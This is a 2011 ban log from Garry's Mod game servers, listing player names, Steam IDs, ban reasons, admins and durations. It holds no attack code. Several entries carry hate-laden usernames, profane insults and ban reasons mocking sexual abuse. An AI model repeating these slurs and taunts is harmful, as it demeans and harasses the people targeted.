STEAM_0:1:15694178 +[SP]+ Nekoace +Killa's Zombie Survival Server Zombie Survival Permanent Banned +7:01 pm 29-07-11 Bisu STEAM_0:0:19255097 Banned Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:00 pm 29-07-11 Crazy Monkey :) STEAM_0:1:13743755 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:56 pm 29-07-11 Unknown STEAM_0:1:39488144 Trying to avoid ban +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:38 pm 29-07-11 Unknown STEAM_0:0:11949030 RDM then leaving +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +12:17 am 29-07-11 Jake STEAM_0:0:17616774 traitor rdm Moaby +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:50 Unbanned +10:17 pm 28-07-11 Unknown STEAM_0:0:4649132 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Gamemaster Permanent Banned +6:22 pm 28-07-11 GhostFTW STEAM_0:0:34422355 +[SP]+ Nekoace Killa's +Zombie Survival Server Zombie Survival 0:0:15 Unbanned +5:02 pm 28-07-11 -=CG=- Pedo Bear the Easter Egg STEAM_0:1:8050776 i +don't like your beatboxing shite Moaby Fretta|Tigergruppe Kommand +Deathrun 0:0:1 Unbanned +4:26 pm 28-07-11 Light x Demon STEAM_0:0:16545878 Ban Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +3:37 pm 28-07-11 British Intelligence STEAM_0:0:29261323 Nice work +insulting me Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +3:21 pm 28-07-11 [L4G] quintosh M.D. STEAM_0:1:36224190 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +12:20 pm 28-07-11 Unknown STEAM_0:1:28785924 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:49 am 28-07-11 [RSS] 1st LT. Le CanadianKing STEAM_0:1:3238054 +Cunt Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:20 pm 27-07-11 KILL WHITEY STEAM_0:0:27182115 Advertising +SethHack +[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +2:14 pm 27-07-11 Cutie STEAM_0:1:18960389 Banning myself for a bit +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:35 am 27-07-11 Bandza STEAM_0:0:22987110 play nice next time +Moaby Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:40 +Unbanned +12:25 am 27-07-11 SlayerS_Boxer STEAM_0:0:19255097 prop prushing till +death Moaby Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:40 Unbanned +12:25 am 27-07-11 Penguin_of_doom_xD STEAM_0:1:13743755 prop prushing +till death Moaby Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:40 Unbanned +4:23 pm 26-07-11 Unknown STEAM_0:0:37989029 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:59 am 25-07-11 Ghost Recon STEAM_0:0:7291342 Rdm, Changing names, +Ignoring admin, Being a dicksuck +[SP]+ Hellknite Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 3:20:35 Unbanned +3:54 am 25-07-11 Conco â?º STEAM_0:1:5282288 Mass Rdm +[SP]+ +Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +10:45 pm 24-07-11 Unknown STEAM_0:1:38535515 +[SP]+ Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +9:52 pm 24-07-11 ECT | Mooncalf STEAM_0:1:18174935 Rejoing to prevent +punishment +[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:10:0 Unbanned +7:31 pm 24-07-11 Unknown STEAM_0:1:27043140 real rdm +[SP]+ Suicidal +Robot Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:0:0 +Unbanned +5:44 pm 24-07-11 +[SP]+ Suicidal Robot STEAM_0:0:6608332 oops +[SP]+ +Suicidal Robot Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +4:24 pm 24-07-11 Renox STEAM_0:1:4381186 Alt of banned ID +STEAM_0:0:11971623 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 7:14:50 Unbanned +3:54 pm 24-07-11 Bon'Scott STEAM_0:0:11971623 Propkilling, RDM ++[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 7:15:20 Unbanned +1:18 pm 24-07-11 Tervakeuhko STEAM_0:1:29150297 Ban LOL Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +12:17 am 24-07-11 Unknown STEAM_0:1:22042305 Ass clown BAN HAMMER! +Fretta|Tigergruppe Kommand Deathrun Permanent Banned +10:08 pm 23-07-11 Atomic Filth STEAM_0:1:27845913 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +4:25 pm 23-07-11 Unknown STEAM_0:0:5253668 Cutie Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 1:0:0 Unbanned +1:26 am 23-07-11 ZÃ?D STEAM_0:0:23763478 Alt of banned ID +STEAM_0:1:23746338 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +12:54 am 23-07-11 XpΩwN` ¤ǺÅ?Ä?ЯÄ?ħỴ¤ STEAM_0:1:28865609 nice +one dipshit FIST OF THE NORTH ****** Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 1:0:0 Unbanned +12:31 am 23-07-11 Toast STEAM_0:1:26349869 Obvious revenge RDM +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +8:31 pm 22-07-11 NOM I EAT CHEEZ BURGERS! STEAM_0:1:35052122 Fuck off +- Unbanned (Oops wrong person) (Console) Fretta|Tigergruppe Kommand +Deathrun Permanent Unbanned +3:45 pm 22-07-11 -=[BUFF]=- Cpt.Brandon STEAM_0:1:20975390 Then why +are you here? Cutie Fretta|Tigergruppe Kommand Prop Hunt 1:0:0 +Unbanned +1:08 am 22-07-11 Ã?oone STEAM_0:1:25544941 PENIS IN UR ASS :D +Fretta|Tigergruppe Kommand Deathrun Permanent Banned +11:04 pm 21-07-11 Usoundjellybro STEAM_0:1:16585983 Your banned you +can ' t : ) Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +10:52 pm 21-07-11 Helms Ceeko STEAM_0:1:41915535 no +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +7:41 pm 21-07-11 Unknown STEAM_0:1:10972966 Raging, Ignoring Rules, +Minor Admin Disrespect and Revenge RDM +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:6 Unbanned +7:22 pm 21-07-11 Disturbed STEAM_0:0:11859704 I kill people who don't +move +[SP]+ Suicidal Robot Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +11:27 am 21-07-11 Unknown STEAM_0:1:30139620 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand M3 Permanent Banned +9:16 pm 20-07-11 i_love_kenny STEAM_0:1:13743755 Obvious RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:4:0 Unbanned +12:47 pm 20-07-11 CS | Luke - STEAM_0:1:11268198 No now you are +banned for calling me a bitch : ) Cutie Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 1:0:0 Unbanned +10:36 pm 19-07-11 Ù¸eBaã?? STEAM_0:1:27401146 RDM +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +10:13 pm 19-07-11 Xtcent STEAM_0:0:15969810 for the lulz, have this +ban for pushing people off while being innocent, and of course them +being even more innocent. AND IGNORING ADMIN, LOL +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +9:39 pm 19-07-11 Unknown STEAM_0:1:13254889 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:23 pm 19-07-11 Z-Hog STEAM_0:1:20229698 really now fuckwit... RDM ++[SP]+ MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:33 pm 19-07-11 DyaSlayer STEAM_0:0:41512995 Perma Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Unbanned +3:43 am 19-07-11 (DBF)Temeraire STEAM_0:1:22042305 same with you ++[SP]+ MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:16:40 Unbanned +3:43 am 19-07-11 hanskov STEAM_0:0:25623268 saves me doing it later ++[SP]+ MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:16:40 Unbanned +9:51 pm 18-07-11 Mathiaas M STEAM_0:1:22403123 RDM, Ignoring Admin ++[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 8:8:0 Unbanned +3:17 pm 18-07-11 -[]Special Agent[]- Ribbs - STEAM_0:1:4381186 Alt of +banned ID STEAM_0:0:11971623 (Console) Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:1:36 Unbanned +3:13 pm 18-07-11 (DBF)Temeraire STEAM_0:1:22042305 Stop Rejoining ++[SP]+ Grim Jam Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:1 Unbanned +2:55 pm 18-07-11 Unknown STEAM_0:1:11183998 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:54 pm 18-07-11 -[]Special Agent[]- Mcgoo - STEAM_0:0:11971623 : 3 ++[SP]+ Grim Jam Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:2:0 Unbanned +11:25 am 18-07-11 Unknown STEAM_0:0:13585332 Sexually abused by their +uncle (http://stonedpotatoes.com/viewtopic.php?f=20&p=25701) +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +11:24 am 18-07-11 Unknown STEAM_0:0:35950056 Sexually abused by their +uncle (http://stonedpotatoes.com/viewtopic.php?f=20&p=25701) +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:08 am 18-07-11 Unknown STEAM_0:0:18159008 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:07 am 18-07-11 Unknown STEAM_0:1:28372989 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +10:48 pm 17-07-11 seriousSissel STEAM_0:0:24788990 RDM and Lying to +admin +[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:5:0 Unbanned +5:45 pm 17-07-11 Candyman STEAM_0:0:20252315 propkilling +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:4:0 Unbanned +5:15 pm 17-07-11 G_Hecker STEAM_0:1:29392297 +[SP]+ Nekoace Killa's +Zombie Survival Server Zombie Survival 6:22:40 Unbanned +11:45 am 17-07-11 googl STEAM_0:1:42156947 Another perma iCute +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:45 am 17-07-11 blackdrag STEAM_0:1:41039946 Another perma iCute +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:44 am 17-07-11 Etna STEAM_0:0:14933923 Banned for being a cock +iCute Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:43 am 17-07-11 Unknown STEAM_0:0:25130870 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:42 am 17-07-11 Unknown STEAM_0:1:20513516 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:42 am 17-07-11 SpoR :D STEAM_0:0:29327508 RDM Ban iCute +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:00 pm 16-07-11 CTXXTC STEAM_0:1:28696604 RDM iCute +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +5:16 pm 16-07-11 (DBF)Temeraire STEAM_0:1:22042305 Next time don ' t +RDM an admin iCute Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:10 Unbanned +5:38 pm 15-07-11 00razorjake00 STEAM_0:0:11175979 so be it iCute +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:00 pm 14-07-11 Heil Hitler STEAM_0:1:18967422 Missing a testical ++[SP]+ MAD MANN Fretta|Tigergruppe Kommand Snifer 4:20:40 Unbanned +9:03 pm 14-07-11 Storm STEAM_0:1:36927998 Alt of banned ID +STEAM_0:1:42476821 (Console) Fretta|Tigergruppe Kommand Laser Dance +41:15:52 Unbanned +8:59 pm 14-07-11 Everybody STEAM_0:1:22172556 Get out +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Snifer 4:4:0 Unbanned +8:58 pm 14-07-11 Lx STEAM_0:0:24516644 Get out +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Snifer 4:4:0 Unbanned +8:57 pm 14-07-11 Mr.StuckShot STEAM_0:1:31623921 Get out +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Snifer 2:2:0 Unbanned +8:56 pm 14-07-11 Aura STEAM_0:1:42476821 Get out +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Snifer 41:16:0 Unbanned +8:08 pm 14-07-11 VÑ?Ñ?мιllιÏ?иâ?¢ STEAM_0:0:29190428 RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +62:12:0 Unbanned +7:23 pm 14-07-11 My Face STEAM_0:0:29261323 Ban lolol iCute +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:52 pm 14-07-11 gungarooo STEAM_0:1:42419288 Mass-RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:4:0 Unbanned +5:38 pm 14-07-11 hunterl4d STEAM_0:0:39075387 RDM +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +5:30 pm 14-07-11 Unknown STEAM_0:0:28176726 Ghosting +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:29 pm 14-07-11 Unknown STEAM_0:0:41663619 Ghosting +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:48 pm 14-07-11 Conco STEAM_0:1:5282288 RDM +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:4:0 Unbanned +3:59 pm 14-07-11 Unknown STEAM_0:0:37730160 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +3:59 pm 14-07-11 Unknown STEAM_0:0:13498644 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +11:53 pm 13-07-11 Hammerhead Eagle i-Thrust STEAM_0:1:23449602 And +now you are banned instead. iCute Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 1:0:0 Unbanned +11:30 pm 13-07-11 FeaR STEAM_0:0:7291342 shhh +[SP]+ MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:20 Unbanned +10:55 pm 13-07-11 Heil Hitler STEAM_0:1:18967422 TK iCute +Fretta|Tigergruppe Kommand Snifer 0:1:0 Unbanned +10:55 pm 13-07-11 Conco STEAM_0:1:5282288 TK iCute +Fretta|Tigergruppe Kommand Snifer 0:1:0 Unbanned +4:47 pm 13-07-11 Hank Hill STEAM_0:1:42496810 Alt of banned ID +STEAM_0:0:37767195 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +2:08 pm 13-07-11 redliner13 STEAM_0:0:38108535 Nice RDM on an admin +iCute Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +10:21 am 13-07-11 Unknown STEAM_0:0:29005501 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand GarryWare Permanent Banned +1:52 am 13-07-11 Gordon Faggmon STEAM_0:0:42100618 Alt of banned ID +STEAM_0:1:42088029 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +9:37 pm 12-07-11 Flapadar STEAM_0:0:10839552 Testing ban system +Flapadar Killa's Zombie Survival Server Zombie Survival Permanent +Unbanned +9:22 pm 12-07-11 Pineman STEAM_0:0:25160443 Sexism iCute +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:34 pm 12-07-11 Unknown STEAM_0:0:19803935 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +7:32 pm 12-07-11 Unknown STEAM_0:1:32073049 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:48 am 12-07-11 Unknown STEAM_0:0:17104852 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Gamemaster Permanent Banned +12:23 am 12-07-11 triggerhappy STEAM_0:0:35029968 RDM banned. +iCute Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:27 pm 11-07-11 Me STEAM_0:1:33817695 Change your name Sway +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:30 Unbanned +8:01 pm 11-07-11 Wonktnod STEAM_0:0:16771999 RDM +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:10:0 Unbanned +7:49 pm 11-07-11 joppu STEAM_0:1:15718875 RDM +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:10:20 Unbanned +7:33 pm 11-07-11 Unknown STEAM_0:1:32364563 RDM -> Disconnect +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:27 pm 11-07-11 Unknown STEAM_0:1:14352118 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:26 pm 11-07-11 Unknown STEAM_0:1:11726504 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:26 pm 11-07-11 Unknown STEAM_0:0:19622107 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:59 pm 11-07-11 Unknown STEAM_0:1:5388189 Errrmm your ment to be +banned. atl of STEAM_0:0:27176193 +[SP]+ MAD MANN Fretta|Tigergruppe +Kommand Trouble in Terrorist Town Permanent Banned +4:37 pm 11-07-11 Unknown STEAM_0:1:5388189 nice Rmd there +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 +Unbanned +10:46 pm 10-07-11 Unknown STEAM_0:1:15607614 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:36 pm 10-07-11 eradri AMG STEAM_0:1:18343753 RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:10:0 Unbanned +5:29 pm 10-07-11 Einar STEAM_0:1:32677329 RDM +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:4:0 Unbanned +5:29 pm 10-07-11 Kristján STEAM_0:0:26967689 RDM +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:4:0 Unbanned +5:02 pm 10-07-11 Tehan STEAM_0:1:5955725 RDM, Ignoring Admin +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:15:0 Unbanned +1:17 am 10-07-11 Unknown STEAM_0:1:22994448 ghosting? +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:20:40 +Unbanned +1:17 am 10-07-11 Unknown STEAM_0:0:42316556 ghosting? +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:20:40 +Unbanned +8:58 pm 09-07-11 hundefiaiufbruseog STEAM_0:0:38860934 RDM Sway +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:24 pm 09-07-11 Widowmaker STEAM_0:1:23319227 PUI: Playing under +influence Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:10:0 Unbanned +6:37 pm 09-07-11 Ohhhhhhhhh STEAM_0:1:42084534 Alt of banned ID +STEAM_0:1:42088029 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +6:31 pm 09-07-11 Mcean Oan STEAM_0:0:42096898 Alt of banned ID +STEAM_0:1:42088029 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +11:57 am 09-07-11 PiZza PappaZ VEnZ STEAM_0:0:39945102 RDM +[SP]+ +CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +8:14 am 09-07-11 Unknown STEAM_0:1:42088029 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Dogfight: Arcade Assault +Permanent Banned +7:16 pm 08-07-11 Pepsi or Coke STEAM_0:0:37767195 Creeper; Do not +unban +[SP]+ Grim Jam Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +6:18 pm 08-07-11 A TROLL THAT LIKES ORANGE POO : STEAM_0:1:20438276 +perma Kiwii Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:23 pm 08-07-11 Just Gamer STEAM_0:0:29219559 RDM, Get out Johnny +Jordan Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:42 am 08-07-11 Unknown STEAM_0:1:38677580 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Ultimate Hide And Seek 2.0 +Permanent Banned +8:42 am 08-07-11 Unknown STEAM_0:1:1816051 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Ultimate Hide And Seek 2.0 +Permanent Banned +10:41 pm 07-07-11 icarusfoundyou STEAM_0:1:8404080 stfu dickface ++[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:5:0 Unbanned +10:41 pm 07-07-11 Dr Boring STEAM_0:0:29261323 stfu for fucksake ++[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:5:0 Unbanned +4:18 pm 07-07-11 ^9Baun STEAM_0:1:40069966 Alt of banned ID +STEAM_0:1:40711412 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +3:29 pm 07-07-11 Unknown STEAM_0:0:20564249 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:28 pm 07-07-11 Unknown STEAM_0:1:15292404 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:28 pm 07-07-11 Unknown STEAM_0:0:18167133 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:05 pm 07-07-11 Derks STEAM_0:0:10714286 Fuck off +[SP]+ Grim Jam +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:40 Unbanned +11:12 pm 06-07-11 +[SP]+FOOD STEAM_0:1:22975189 Using SP Tag without +permission, Ignoring Admin even after being warned. +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Unbanned +8:20 pm 06-07-11 Flapadar STEAM_0:0:10839552 Test Flapadar +Fretta|Tigergruppe Kommand GarryWare 0:0:1 Unbanned +6:16 pm 06-07-11 {>BW<}à¹?à¹?Û£Û? DEEP FÑ?IED M@ STEAM_0:1:9622670 +Alt of banned ID STEAM_0:1:9622670 (Console) Fretta|Tigergruppe +Kommand Trouble in Terrorist Town Permanent Banned +4:13 pm 06-07-11 Unknown STEAM_0:0:17488508 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Gamemaster Permanent Banned +4:13 pm 06-07-11 Unknown STEAM_0:1:6183216 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Gamemaster Permanent Banned +4:12 pm 06-07-11 Unknown STEAM_0:1:10908429 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Gamemaster Permanent Banned +4:12 pm 06-07-11 Unknown STEAM_0:1:6076942 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Gamemaster Permanent Banned +4:11 pm 06-07-11 Unknown STEAM_0:0:41331055 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Gamemaster Permanent Banned +11:50 pm 05-07-11 Koruyo STEAM_0:0:5879889 Kiwii Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 0:1:0 Unbanned +5:44 pm 05-07-11 Stephan Meijer [NL] STEAM_0:0:30049961 Penis penis +penis +[SP]+ MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:20 Unbanned +4:26 pm 05-07-11 spYke STEAM_0:1:30291930 Kiwii Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 1:0:0 Unbanned +4:14 pm 05-07-11 SilverSpeed {TSB} STEAM_0:1:24114067 RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:10:0 Unbanned +4:00 pm 05-07-11 Vekkuza STEAM_0:1:9154165 ME SO MAD I BANNED YOU +Kiwii Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +3:24 pm 05-07-11 Unknown STEAM_0:1:32073049 Mass-RDM as detective ++[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 8:8:0 Unbanned +11:16 pm 04-07-11 Killer Bee No Sound STEAM_0:0:66502 RDM, Disconnect +to prevent punishment +[SP]+ Bloodcore Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 41:16:0 Unbanned +11:03 pm 04-07-11 Unknown STEAM_0:0:16862630 Mass-RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:08 pm 03-07-11 [Aft]aizenfuckinpowers STEAM_0:0:24064507 This is +for your lack of penis Kiwii Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +9:28 pm 03-07-11 Spanish Chan STEAM_0:1:24060332 lol +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 5:0:0 Unbanned +3:39 pm 03-07-11 -Frank- Pretzels<33 STEAM_0:0:39178528 Killed Hat +then said he didnt and it was obvious rdm. +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +2:07 pm 03-07-11 â??ICSâ?? Ypho STEAM_0:1:15766156 Multiple rdm ++[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +1:06 am 03-07-11 Olltring Da Silenta STEAM_0:0:20470605 A fool ++[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 694:10:39 Banned +9:26 pm 02-07-11 Unknown STEAM_0:1:35921874 c4 RDM +[SP]+ Suicidal +Robot Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:0:0 +Unbanned +7:07 pm 02-07-11 XpΩwN` ¤ǺÅ?Ä?ЯÄ?ħỴ¤ STEAM_0:1:28865609 Big +C4 RDM +[SP]+ Suicidal Robot Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +12:41 pm 02-07-11 Unknown STEAM_0:0:18447426 RDM, leaving without +explanation. Basically ignoring admin and RDMing. +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 60:0:0 Unbanned +12:38 pm 02-07-11 DyaSlayer STEAM_0:0:41512995 RDM with retarded +reason. +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Unbanned +10:42 pm 01-07-11 TMC | Hat STEAM_0:0:22843745 Insert Reason Here ++[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:1 Unbanned +10:33 pm 01-07-11 +[SP]+ Marked One [SK] STEAM_0:1:22013742 You too +you little shit : D +[SP]+ Hellknite Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:0:1 Unbanned +10:32 pm 01-07-11 TMC | Hat STEAM_0:0:22843745 Insert Reason Here ++[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:1 Unbanned +8:59 pm 01-07-11 Unknown STEAM_0:1:32531347 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:57 pm 01-07-11 Blue Man STEAM_0:0:42096326 Cheat: Sorry if the +world has been taken over by antilions. (Console) Fretta|Tigergruppe +Kommand Trouble in Terrorist Town Permanent Banned +7:17 pm 01-07-11 Unknown STEAM_0:0:30577331 RDM Kiwii +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 20:20:0 Unbanned +1:50 pm 01-07-11 jotbasan STEAM_0:1:26064189 Moaby +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:1 Unbanned +1:10 pm 01-07-11 Deathknightrofl STEAM_0:0:21535588 Moaby +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +8:44 pm 30-06-11 Unknown 